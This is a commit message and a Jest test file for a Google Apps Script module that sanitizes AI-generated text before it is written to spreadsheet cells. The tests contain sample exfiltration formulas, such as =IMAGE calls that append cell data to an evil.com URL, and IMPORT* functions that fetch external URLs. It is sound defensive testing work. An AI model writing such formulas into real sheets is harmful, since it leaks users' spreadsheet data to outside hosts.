fix(security): systemic fix for T6 formula injection via centralized safe-writes (#129)

* docs(security): add design spec for systemic T6 safe-write fix

Captures the redefinition of T6 as a vulnerability class (not a single
call site), the centralized safe-writes.ts architecture, the full
call-site inventory, and the CI enforcement mechanism agreed on with
the user across this design session.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(security): finalize T6 safe-writes design after review

- Grounding markdown is included in the safe-write path (not carved out
  as an exception), consistent with the blanket-sanitization decision.
- Unify writeSafeValue/writeSafeValueGrid on the same unknown-typed,
  inline typeof guard instead of a separately named adapter — removes
  an arbitrary string/unknown split between the two plain-value
  primitives while keeping current call sites behaviorally unchanged.
- Fix markdownlint table-separator formatting.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* docs(security): add implementation plan for T6 systemic safe-writes fix

8 tasks: build safe-writes.ts (TDD, all 4 primitives + relocated
sanitizeForCell/writeColumn/findOrCreateColumn), migrate extractText,
runBatchAI, formatMarkdownSelection, and sampleRowsToEvaluation onto
it, add an ESLint no-restricted-syntax enforcement rule, update the
threat model, and manually verify against the dev sheet.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* refactor(security): relocate sanitizeForCell to new safe-writes module

* feat(security): add writeSafeValue primitive

* feat(security): add writeSafeValueGrid primitive

* feat(security): add writeSafeRichText primitive

* feat(security): add writeSafeRichTextGrid primitive

* refactor(security): relocate writeColumn to safe-writes, sanitize its writes

* refactor(security): relocate findOrCreateColumn, wire index.ts to safe-writes

* fix(security): route extractText's write through writeSafeValue (AI-75)

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(security): route all runBatchAI writes through safe-writes (AI-56, AI-76)

* fix(security): route formatMarkdownSelection's grid write through safe-writes

* fix(security): route sampleRowsToEvaluation's copy through safe-writes

* docs(security): add Task 5b to plan — runBatchAI column-header gap

Found while adding Task 6's ESLint rule: two raw setValue() calls that
create the output/grounding column headers were missed by the original
call-site audit. Amending the plan before fixing, per user sign-off.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>

* fix(security): route runBatchAI's column-header creation through findOrCreateColumn

* chore(security): enforce safe-writes as the only path for Sheets cell writes

* docs(security): redefine T6 as a vulnerability class, add R45 (AI-89)

* docs(security): match R18 precedent punctuation for superseded markers

---------

Co-authored-by: Claude Sonnet 5 <noreply@anthropic.com>

Author: aaronbrezel

__tests__/safe-writes.test.ts

@@ -0,0 +1,345 @@
+/**
+ * Tests for src/server/safe-writes.ts — the only sanctioned path for writing
+ * untrusted-origin content to a Sheets cell. See T6 in the threat model.
+ */
+
+function makeRichTextBuilder() {
+  let builtText = "";
+  const builder = {
+    setText: (t: string) => {
+      builtText = t;
+      return builder;
+    },
+    build: () => ({ getText: () => builtText }) as GoogleAppsScript.Spreadsheet.RichTextValue,
+  };
+  return builder;
+}
+
+(globalThis as unknown as { SpreadsheetApp: unknown }).SpreadsheetApp = {
+  newRichTextValue: () => makeRichTextBuilder(),
+};
+
+import {
+  sanitizeForCell,
+  writeSafeValue,
+  writeSafeValueGrid,
+  writeSafeRichText,
+  writeSafeRichTextGrid,
+  writeColumn,
+  findOrCreateColumn,
+} from "../src/server/safe-writes";
+
+describe("sanitizeForCell", () => {
+  const REJECTION_MSG =
+    "[SSI Error: AI response contained an external request formula — output rejected]";
+
+  it("rejects =IMAGE formula (exfiltrates cell data via image URL)", () => {
+    expect(sanitizeForCell('=IMAGE("https://evil.com/?d="&A1)')).toBe(REJECTION_MSG);
+  });
+
+  it("rejects +IMPORTDATA formula (fetches external URL via + prefix)", () => {
+    expect(sanitizeForCell("+IMPORTDATA(A1)")).toBe(REJECTION_MSG);
+  });
+
+  it("rejects -IMPORTXML formula", () => {
+    expect(sanitizeForCell('-IMPORTXML(A1, "//b")')).toBe(REJECTION_MSG);
+  });
+
+  it("rejects =IMPORTHTML formula", () => {
+    expect(sanitizeForCell('=IMPORTHTML("http://evil.com", "table", 1)')).toBe(REJECTION_MSG);
+  });
+
+  it("rejects =IMPORTRANGE formula", () => {
+    expect(sanitizeForCell('=IMPORTRANGE("spreadsheetId", "A1:A10")')).toBe(REJECTION_MSG);
+  });
+
+  it("rejects =IMPORTFEED formula", () => {
+    expect(sanitizeForCell('=IMPORTFEED("http://evil.com/rss")')).toBe(REJECTION_MSG);
+  });
+
+  it("rejects web-fetch function nested inside another formula", () => {
+    expect(sanitizeForCell('=IF(1=1,IMAGE("evil.com"),0)')).toBe(REJECTION_MSG);
+  });
+
+  it("rejects web-fetch function nested inside IFERROR", () => {
+    expect(sanitizeForCell('=IFERROR(IMPORTDATA("http://evil.com"),0)')).toBe(REJECTION_MSG);
+  });
+
+  it("rejects web-fetch function name regardless of case", () => {
+    expect(sanitizeForCell('=image("evil.com")')).toBe(REJECTION_MSG);
+  });
+
+  it("prepends apostrophe to non-web-fetch formula starting with =", () => {
+    expect(sanitizeForCell("=SUM(A1:A10)")).toBe("'=SUM(A1:A10)");
+  });
+
+  it("prepends apostrophe to non-web-fetch formula starting with - (defense-in-depth)", () => {
+    expect(sanitizeForCell("-SUM(A1:A10)")).toBe("'-SUM(A1:A10)");
+  });
+
+  it("prepends apostrophe to non-web-fetch formula starting with +", () => {
+    expect(sanitizeForCell("+SUM(A1:A10)")).toBe("'+SUM(A1:A10)");
+  });
+
+  it("leaves normal AI response text unchanged", () => {
+    expect(sanitizeForCell("The subject appeared in three court filings.")).toBe(
+      "The subject appeared in three court filings.",
+    );
+  });
+
+  it("leaves empty string unchanged", () => {
+    expect(sanitizeForCell("")).toBe("");
+  });
+
+  it("leaves values with leading whitespace unchanged (Sheets does not evaluate as formula)", () => {
+    expect(sanitizeForCell("  =not evaluated as formula")).toBe("  =not evaluated as formula");
+  });
+
+  it("preserves the full response when prepending apostrophe to a safe multiline formula", () => {
+    const input = "=SUM(A1:A10)\nNote: this formula sums the range";
+    expect(sanitizeForCell(input)).toBe(`'${input}`);
+  });
+});
+
+describe("writeSafeValue", () => {
+  it("writes a safe string value to the range unchanged", () => {
+    const setValueMock = jest.fn();
+    const range = { setValue: setValueMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    writeSafeValue(range, "hello");
+    expect(setValueMock).toHaveBeenCalledWith("hello");
+  });
+
+  it("rejects a web-fetch formula", () => {
+    const setValueMock = jest.fn();
+    const range = { setValue: setValueMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    writeSafeValue(range, '=IMAGE("evil.com")');
+    expect(setValueMock).toHaveBeenCalledWith(
+      "[SSI Error: AI response contained an external request formula — output rejected]",
+    );
+  });
+
+  it("literal-izes a non-web-fetch formula", () => {
+    const setValueMock = jest.fn();
+    const range = { setValue: setValueMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    writeSafeValue(range, "=SUM(A1:A10)");
+    expect(setValueMock).toHaveBeenCalledWith("'=SUM(A1:A10)");
+  });
+
+  it("passes non-string values through unchanged (numbers can never be a sheet function)", () => {
+    const setValueMock = jest.fn();
+    const range = { setValue: setValueMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    writeSafeValue(range, 42);
+    expect(setValueMock).toHaveBeenCalledWith(42);
+  });
+});
+
+describe("writeSafeValueGrid", () => {
+  it("sanitizes every string cell and writes the whole grid in one setValues call", () => {
+    const setValuesMock = jest.fn();
+    const range = { setValues: setValuesMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    writeSafeValueGrid(range, [
+      ["safe text", '=IMAGE("evil.com")'],
+      ["=SUM(A1:A10)", "more text"],
+    ]);
+    expect(setValuesMock).toHaveBeenCalledTimes(1);
+    expect(setValuesMock).toHaveBeenCalledWith([
+      [
+        "safe text",
+        "[SSI Error: AI response contained an external request formula — output rejected]",
+      ],
+      ["'=SUM(A1:A10)", "more text"],
+    ]);
+  });
+
+  it("passes non-string cells (numbers, booleans, dates) through unchanged", () => {
+    const setValuesMock = jest.fn();
+    const range = { setValues: setValuesMock } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    const date = new Date(2026, 0, 1);
+    writeSafeValueGrid(range, [[42, true, date]]);
+    expect(setValuesMock).toHaveBeenCalledWith([[42, true, date]]);
+  });
+});
+
+function makeRichTextValue(text: string): GoogleAppsScript.Spreadsheet.RichTextValue {
+  return { getText: () => text } as unknown as GoogleAppsScript.Spreadsheet.RichTextValue;
+}
+
+describe("writeSafeRichText", () => {
+  it("writes the original RichTextValue unchanged when the flattened text is safe", () => {
+    const setRichTextValueMock = jest.fn();
+    const range = {
+      setRichTextValue: setRichTextValueMock,
+    } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    const richTextValue = makeRichTextValue("**bold** safe text");
+    writeSafeRichText(range, richTextValue);
+    expect(setRichTextValueMock).toHaveBeenCalledWith(richTextValue);
+  });
+
+  it("drops formatting and rejects when the flattened text is a web-fetch formula", () => {
+    const setRichTextValueMock = jest.fn();
+    const range = {
+      setRichTextValue: setRichTextValueMock,
+    } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    writeSafeRichText(range, makeRichTextValue('=IMPORTDATA("evil.com")'));
+    const written = setRichTextValueMock.mock
+      .calls[0][0] as GoogleAppsScript.Spreadsheet.RichTextValue;
+    expect(written.getText()).toBe(
+      "[SSI Error: AI response contained an external request formula — output rejected]",
+    );
+  });
+
+  it("drops formatting and literal-izes when the flattened text is a benign formula", () => {
+    const setRichTextValueMock = jest.fn();
+    const range = {
+      setRichTextValue: setRichTextValueMock,
+    } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    writeSafeRichText(range, makeRichTextValue("=SUM(A1:A10)"));
+    const written = setRichTextValueMock.mock
+      .calls[0][0] as GoogleAppsScript.Spreadsheet.RichTextValue;
+    expect(written.getText()).toBe("'=SUM(A1:A10)");
+  });
+});
+
+describe("writeSafeRichTextGrid", () => {
+  it("sanitizes every cell in the grid via a single setRichTextValues call", () => {
+    const setRichTextValuesMock = jest.fn();
+    const range = {
+      setRichTextValues: setRichTextValuesMock,
+    } as unknown as GoogleAppsScript.Spreadsheet.Range;
+    const safeCell = makeRichTextValue("safe text");
+    const dangerousCell = makeRichTextValue('=IMAGE("evil.com")');
+    writeSafeRichTextGrid(range, [[safeCell, dangerousCell]]);
+    expect(setRichTextValuesMock).toHaveBeenCalledTimes(1);
+    const [[writtenSafe, writtenDangerous]] = setRichTextValuesMock.mock
+      .calls[0][0] as GoogleAppsScript.Spreadsheet.RichTextValue[][];
+    expect(writtenSafe).toBe(safeCell);
+    expect(writtenDangerous.getText()).toBe(
+      "[SSI Error: AI response contained an external request formula — output rejected]",
+    );
+  });
+});
+
+describe("writeColumn", () => {
+  it("writes values starting at row 2 using a single setValues call", () => {
+    const setValuesMock = jest.fn();
+    const sheet = {
+      getRange: jest.fn().mockReturnValue({ setValues: setValuesMock }),
+    } as unknown as GoogleAppsScript.Spreadsheet.Sheet;
+    writeColumn(sheet, 3, ["a", "b", "c"]);
+    expect(sheet.getRange).toHaveBeenCalledWith(2, 3, 3, 1);
+    expect(setValuesMock).toHaveBeenCalledWith([["a"], ["b"], ["c"]]);
+  });
+
+  it("does nothing when values array is empty", () => {
+    const sheet = {
+      getRange: jest.fn(),
+    } as unknown as GoogleAppsScript.Spreadsheet.Sheet;
+    writeColumn(sheet, 1, []);
+    expect(sheet.getRange).not.toHaveBeenCalled();
+  });
+
+  it("applies wrapStrategy to the written range when provided", () => {
+    const setValuesMock = jest.fn();
+    const setWrapStrategyMock = jest.fn();
+    const sheet = {
+      getRange: jest
+        .fn()
+        .mockReturnValue({ setValues: setValuesMock, setWrapStrategy: setWrapStrategyMock }),
+    } as unknown as GoogleAppsScript.Spreadsheet.Sheet;
+    const wrapStrategy = "CLIP" as unknown as GoogleAppsScript.Spreadsheet.WrapStrategy;
+    writeColumn(sheet, 3, ["a", "b"], wrapStrategy);
+    expect(setWrapStrategyMock).toHaveBeenCalledWith(wrapStrategy);
+  });
+
+  it("sanitizes a dangerous value before writing", () => {
+    const setValuesMock = jest.fn();
+    const sheet = {
+      getRange: jest.fn().mockReturnValue({ setValues: setValuesMock }),
+    } as unknown as GoogleAppsScript.Spreadsheet.Sheet;
+    writeColumn(sheet, 3, ['=IMAGE("evil.com")', "safe"]);
+    expect(setValuesMock).toHaveBeenCalledWith([
+      ["[SSI Error: AI response contained an external request formula — output rejected]"],
+      ["safe"],
+    ]);
+  });
+});
+
+describe("findOrCreateColumn", () => {
+  function makeSheet(headers: string[]): GoogleAppsScript.Spreadsheet.Sheet {
+    const values = [headers.slice()];
+    return {
+      getLastColumn: () => headers.length,
+      getRange: jest
+        .fn()
+        .mockImplementation((_row: number, _col: number, numRows?: number, numCols?: number) => {
+          if (numRows === 1 && numCols !== undefined) {
+            return { getValues: () => values };
+          }
+          return { setValue: jest.fn() };
+        }),
+    } as unknown as GoogleAppsScript.Spreadsheet.Sheet;
+  }
+
+  it("returns 1-based index of existing column", () => {
+    const sheet = makeSheet(["Drive Link", "System Prompt", "Output"]);
+    expect(findOrCreateColumn(sheet, "System Prompt")).toBe(2);
+  });
+
+  it("appends new column and returns its 1-based index when not found", () => {
+    const sheet = makeSheet(["Drive Link"]);
+    const setValueMock = jest.fn();
+    (sheet.getRange as jest.Mock).mockImplementation(
+      (_row: number, _col: number, numRows?: number, numCols?: number) => {
+        if (numRows === 1 && numCols !== undefined) {
+          return { getValues: () => [["Drive Link"]] };
+        }
+        return { setValue: setValueMock };
+      },
+    );
+    const idx = findOrCreateColumn(sheet, "New Col");
+    expect(idx).toBe(2);
+    expect(setValueMock).toHaveBeenCalledWith("New Col");
+  });
+
+  it("appends to column 1 when sheet is empty", () => {
+    const setValueMock = jest.fn();
+    const sheet = {
+      getLastColumn: () => 0,
+      getRange: jest.fn().mockReturnValue({ setValue: setValueMock }),
+    } as unknown as GoogleAppsScript.Spreadsheet.Sheet;
+    const idx = findOrCreateColumn(sheet, "My Col");
+    expect(idx).toBe(1);
+    expect(setValueMock).toHaveBeenCalledWith("My Col");
+  });
+
+  it("applies wrapStrategy to the new column range when provided", () => {
+    const setValueMock = jest.fn();
+    const setWrapStrategyMock = jest.fn();
+    const sheet = {
+      getLastColumn: () => 0,
+      getMaxRows: () => 100,
+      getRange: jest
+        .fn()
+        .mockImplementation((_row: number, _col: number, numRows?: number) =>
+          numRows !== undefined
+            ? { setWrapStrategy: setWrapStrategyMock }
+            : { setValue: setValueMock },
+        ),
+    } as unknown as GoogleAppsScript.Spreadsheet.Sheet;
+    const wrapStrategy = "CLIP" as unknown as GoogleAppsScript.Spreadsheet.WrapStrategy;
+    findOrCreateColumn(sheet, "My Col", wrapStrategy);
+    expect(setWrapStrategyMock).toHaveBeenCalledWith(wrapStrategy);
+  });
+
+  it("sanitizes a dangerous new column title before writing", () => {
+    const setValueMock = jest.fn();
+    const sheet = {
+      getLastColumn: () => 0,
+      getRange: jest.fn().mockReturnValue({ setValue: setValueMock }),
+    } as unknown as GoogleAppsScript.Spreadsheet.Sheet;
+    findOrCreateColumn(sheet, '=IMAGE("evil.com")');
+    expect(setValueMock).toHaveBeenCalledWith(
+      "[SSI Error: AI response contained an external request formula — output rejected]",
+    );
+  });
+});